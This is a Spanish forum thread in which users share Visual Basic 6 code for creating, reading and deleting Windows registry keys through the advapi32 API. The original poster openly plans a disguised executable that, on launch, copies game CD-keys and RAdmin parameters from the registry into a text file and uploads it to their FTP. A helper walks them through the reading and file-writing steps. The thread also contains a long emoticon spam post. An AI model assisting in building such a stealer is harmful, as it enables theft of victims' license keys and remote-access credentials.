Hola tengo un par de dudas referente al registro.
Mi idea es editar copiar y añandir al registro:
Private Sub Command1_Click()
On Error Resume Next
MsgBox "Se creara una clave en el Registro HKEY_CURRENT_USER\Software\RAdmin\v2.xD\Parameters y se llamara lala y su ruta sera c:\lala.txt", vbInformation, "Crear clave al registro"
Set reg = CreateObject("WScript.Shell")
reg.regwrite "HKEY_CURRENT_USER\Software\RAdmin\v2.xD\Parameters", "C:\lala.txt"
End Sub
Private Sub Command2_Click()
On Error Resume Next
MsgBox "Este codigo borrara la clave creada,si existiera", vbInformation, "Borrar clave"
Set borrar = CreateObject("WScript.Shell")
borrar.RegDelete "HKEY_CURRENT_USER\Software\RAdmin\v2.xD"
End Sub
Private Sub Command3_Click()
On Error Resume Next
MsgBox "Se copiara una clave en el Registro HKEY_CURRENT_USER\Software\RAdmin\v2.xD\Parameters y se llamara lala2 y su ruta sera c:\lala2.txt", vbInformation, "Copiar clave al registro"
Set reg = CreateObject("WScript.Shell")
reg.regcopy "HKEY_CURRENT_USER\Software\RAdmin\v2.0\Parameters", "C:\lala2.txt"
End Sub
bueno pos lo unico q consigo con esto es añadir calves al registro y borrarlas pero por ejemplo no se me borra 2.xD solo su interior...
Y como ago para q me cree un archivo con la entrada de una direccion q yo le indico en el registro?? por ejemplo la clave del radmin q me la guarde en un txt. como seria???
Gracias.
acostumbrate a usar la api ;D, aqui te dejo codigo para crear claves, añadir valor, leer etc luego tu ya t lo montas como quieras.
[
Private Sub Command1_Click()
Dim h, buffer As String
buffer = String(1024, vbNullChar)
'crear una clave
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE", h
RegCreateKey h, "PRUEBA", h
RegCloseKey h
'aqui ya tienes la clave creada
'escribir un valor
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE\PRUEBA", h
RegSetValueEx h, "Nombre", 0, 1, ByVal "datos", Len("datos")
' aqui ya tienes el nuevo valor y datos en la clave creada
' borrar del registro el valor de la clave
RegDeleteValue h, "Nombre" ' Aqui se a borrado el nombre "Nombre" y el valor "datos"
RegCloseKey h
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE\PRUEBA", h
RegQueryValueEx h, "Nombre", 0, 1, ByVal buffer, Len(buffer)
' ya tienes en buffer el valor de "Nombre"
RegDeleteKey HKEY_LOCAL_MACHINE, "SOFTWARE\PRUEBA"
RegCloseKey h
' y ya esta todo borrado claves y subclaves
End Sub
acuerdate de declarar la/as constantes (HKEY_LOCAL_MACHINE etc)
PD:
que se me paso jejej, para lo de el archivo ya lo que pilles en buffer open "archivo" etc etc y lo guardas
La verdad esq no tengo ni idea de manejar las apis... pero esto del registro parece facil muchas gracias....
aunq no me kedo claro como crear el archivo....
en el archivo lo q pretendo es copiar una clave del registro por ejemplo la clave en hexadeciamal de un juego...
se me olvidava para utilizar RegCloseKey... todo eso imagino q sera con las apis.... pero ay q añadir algo al formulario????
Gracias. ;)
si tienes que declarar las constantes y las funciones.
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
sobre lo de el archivo
Open "c:/archivo.txt" For Append As #1
Write #1, "datos a escribir"
Close #1
para q t de una idea.
otra cosa el ejemplo es para leer string si vas a leer otro tipo de dato tienes que modificar lo q es el tipo de dato y alguna cosilla mas.
xD MUCHAS GRACIAS.
no me as entendido con lo del archivo mira te digo mi idea mi idea es crear un ejecutable q ya vere q tonteria le pongo pero q al cargar el form accede a unas rutas del registro a las mas comunes de estos juegos de jugar por internet tipo counter, half life..... y q me COPIE las claves a un txt y me lo suba al ftp pues bien q me las suba al ftp se hacerlo acer entradas al registro mediante las apis teoricamente ya se hacerlo gracias a ti ;) y crear archivos tanbien se acerlos pero lo q no se acer es q me copie las claves del juego q se almacenan en el registro en un txt para q me lo suba al ftp....
nose si me entiendes.... Muchas gracias me as enseñado bastante :D
me parece que no nos entendemos mutuamente :P, en la variable buffer tienes el valor de la clave que lees pilla esa variable y metela en un archivo de texto.
por ejemplo supon q tiene
hkey_local_machine/software/halflife > CD-KEY 12345678
buffer tendra 12345678 ¿es eso a lo q te refieres?
xDDDDDD si pillo pero........
q fallo no s eme ocurre como meter un valor a un archivo
Open "c:/archivo.txt" For Append As #1
Write #1, buffer
Close #1
podria ser??? q va a ser q no....
joer tio eres la poia :D te lo agradezco millllllll
exacto asi escribes en el archivo el valor que tu buscas.
Como siempre... las clases teoricas no lo es todo bien lo estoy yevando a la practica..
Esyte es un trozo de codigo imprscindible...
Dim h, buffer As String
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Const HKEY_CURRENT_USER = &H80000002
Private Sub Form_Load()
buffer = String(1024, vbNullChar)
RegOpenKey HKEY_CURRENT_USER, "\Software\RAdmin\v2.0\Parameters", h
RegQueryValueEx h, "Parameters", 0, 1, ByVal buffer, Len(buffer)
Open "c:/archivo.txt" For Append As #1
Write #1, buffer
Close #1
End Sub
bien en el archivo q me crea aparece:
"
"
tonces no entiendo xq ay q añadir la ruta del registro asi:
RegOpenKey HKEY_CURRENT_USER, "\Software\RAdmin\v2.0\Parameters", h
y cual es la funcion de h ahi?
y tambien e supuesto q esto se declaraba asi:
Private Const HKEY_LOCAL_MACHINE = &H80000002
q es lo q esta mal?
esto d elas apis es un poco lioso
xD
en h te devuelve el handle para referirte a la clave abierta hasta q la cierres, fijate en lo q t puse antes:
RegOpenKey HKEY_CURRENT_USER, "\Software\RAdmin\v2.0\Parameters", h > recibes en h el handle
RegQueryValueEx h, "Parameters", 0, 1, ByVal buffer, Len(buffer) > aqui ya nos referimos a ese handle (h) que es la clave abierta.
por otra parte usas HKEY_CURRENT_USER ¿la tienes declarada? ( Private Const HKEY_CURRENT_USER = &H80000001 )
el tipo de dato que vas a leer que es? como ya t dije ese codigo lee string
Pues tiene q leer bynari0o q es en lño q esta la clave en el registro....
si le pongo pa q me devuelva el valo de buffer no me devuekve nada y si lo ponho pa q me devuelva el valor de h me devuelve 0
:S:S
me dices:
por otra parte usas HKEY_CURRENT_USER ¿la tienes declarada? ( Private Const HKEY_CURRENT_USER = &H80000001 )
eso es lo q puse arriba esta mal?
arriba pones esto:
RegOpenKey HKEY_CURRENT_USER, "\Software\RAdmin\v2.0\Parameters", h
y cual es la funcion de h ahi?
y tambien e supuesto q esto se declaraba asi:
Private Const HKEY_LOCAL_MACHINE = &H80000002
tienes declarada HKEY_LOCAL_MACHINE pero usas HKEY_CURRENT_USER que en ese codigo no esta declarada, por otra parte si h devuelve 0 algun error ocurrio (seguro q es lo de HKEY).
Public Const REG_BINARY = 3
Public Const REG_DWORD = 4
Public Const REG_EXPAND_SZ = 2
Public Const REG_MULTI_SZ = 7
Public Const REG_NONE = 0
Public Const REG_SZ = 1
mas tipos de datos para q modifiques segun t venga bien
Este es el codigo q tengo:
Dim h, buffer As String
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Const HKEY_CURRENT_USER = &H80000002
Private Sub Form_Load()
buffer = String(1024, vbNullChar)
RegOpenKey HKEY_CURRENT_USER, "\Software\RAdmin\v2.0\Parameters", h
RegQueryValueEx h, "Parameters", 0, 1, ByVal buffer, Len(buffer)
'Open "c:/archivo.txt" For Append As #1
'Write #1, buffer
'Close #1
Label1.Caption = h
Label2.Caption = buffer
lo q me interesa ahora esq me devuelva el valor del vinari q le estoy apuntando, tambien decirte q en parameters en el registro no ay solo una clave lo menos ay12 segun lo estamos haciendo seria q me cogiera todas no????
pero aun asi esto no funca tampoco puedo analizarlo mucho xq esto es nuevo para mi... y estoy buscando informacion pero na...
continuas declarando HKEY_CURRENT_USER con el valor de HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE = &H80000002
HKEY_CURRENT_USER = &H80000001
sobre lo de leer de golpe tendras que hacerlo de 1 en 1
otra cosa q acabo d ver es esta.
RegOpenKey HKEY_CURRENT_USER, "\Software\RAdmin\v2.0\Parameters", h
RegQueryValueEx h, "Parameters", 0, 1, ByVal buffer, Len(buffer) > aqui anoser q el nombre sea = q la clave q abres tampco te lee nada.
supn esta clave, HKEY_LOCAL_MACHINE/Software/programa
entonces abres con regopenkey HKEY_LOCAL_MACHINE/Software/programa
dentro de esa clave hay "secciones" por nombres y cada una guarda un valor. entonces lees X sección y t devuelve su valor supon q dentro de esa clave existe "NOMBRE"
entonces regqueryvalueex "NOMBRE"
y nombre contiene "EL MIO" entonces en buffer tendras "EL MIO"
:o
Qusiera saber que diferencia hay entre este codigo que utilizo para crear una clae en el registro utilizo este
On Error Resume Next
MsgBox "Se creara una clave en el Registro HKLM\Software\Microsoft\Windows y se llamara zorrohack y su ruta sera c:\zorrohack.txt", vbInformation, "Crear clave al registro"
Set reg = CreateObject("WScript.Shell")
reg.RegWrite "HKLM\Software\Microsoft\Windows\zorrohack", "C:\zorrohack.txt"
con este codigo he creado una clave en registro + tambien le he anadido el valor.Quisera saber la diferencia entre este codigo puesto por Mr.Potato:
Dim h, buffer As String
buffer = String(1024, vbNullChar)
'crear una clave
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE", h
RegCreateKey h, "PRUEBA", h
RegCloseKey h
'aqui ya tienes la clave creada
'escribir un valor
RegOpenKey HKEY_LOCAL_MACHINE, "SOFTWARE\PRUEBA", h
RegSetValueEx h, "Nombre", 0, 1, ByVal "datos", Len("datos")
' aqui ya tienes el nuevo valor y datos en la clave creada
' borrar del registro el valor de la clave
RegDeleteValue h, "Nombre" ' Aqui se a borrado el nombre "Nombre" y el valor "datos"
RegCloseKey h
Ademas para borrar una clave utilizo este codigo:
On Error Resume Next
MsgBox "Este codigo borrara la clave creada,si existiera", vbInformation, "Borrar clave"
Set borrar = CreateObject("WScript.Shell")
x = borrar.RegRead("HKLM\Software\Microsoft\Windows\zorrohack")
If x = "" Then 'si esxiste la clave entonces voy a borrarla
MsgBox "No se borro porque no existe", vbInformation, "Clave no existe" ' si no existe pues muesto este mensaje
Else
z = borrar.RegDelete("HKLM\Software\Microsoft\Windows\zorrohack")
If z = "" Then
MsgBox "Clave borrada satisfactoriamente", vbInformation, "Clave borrada"
End If
Cual es la diferencia?
???
pues la primera diferencia es q en uno se usa la api de win y en otro no, y ya q estamos en win pq no utilizarla?. por otra parte no se si de la forma q tu dices se podra crear/leer un valor dword o de otro tipo. lo mas seguro es q si, yo en lo personal pienso q es mejor usar la api q para eso esta ;D.
ok
lo que pasa es que no se un pepino de Apis
no se como usarlas
???
Mr.Potato, tu todo eso q sabes no creo q lo ayas aprendido solo........... Estas estudiando algo de programacion en la universidad o algo parecido?
???
Xq no es normal saber tanto, yo la verdad esq no me enterao de na.
Saludos :P
Alpha yo trabajo en la construccion de peon. lo que pasa q me gusta el tema este y leo todo lo que puedo.
Y q aces de peon sabiendo tato? ???
:o
yo stoy igual q Alpha, como s q sabiendo tanto stas d peon, pero bueno, eso no s mi problema, lo q qria era sabr si alguin PUTAS me puede ayudar kon lo d las apis, xq la brdad yo studio programacion, pero stoy mpzando apnas, y no tngo ni la + mínima idea d q son, ni mucho - d komo c usan
??? ???
:D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D :D
deja de spamear
& 1.000.000 € & ya el nick es spam ...:¬¬ :¬¬
Cita de: ZorroHacklo que pasa es que no se un pepino de Apis
no se como usarlas
aprende, si queres programar vas a tener que aprenderlas por mas que no las uses...aunque seguro vas a usar...
saludos.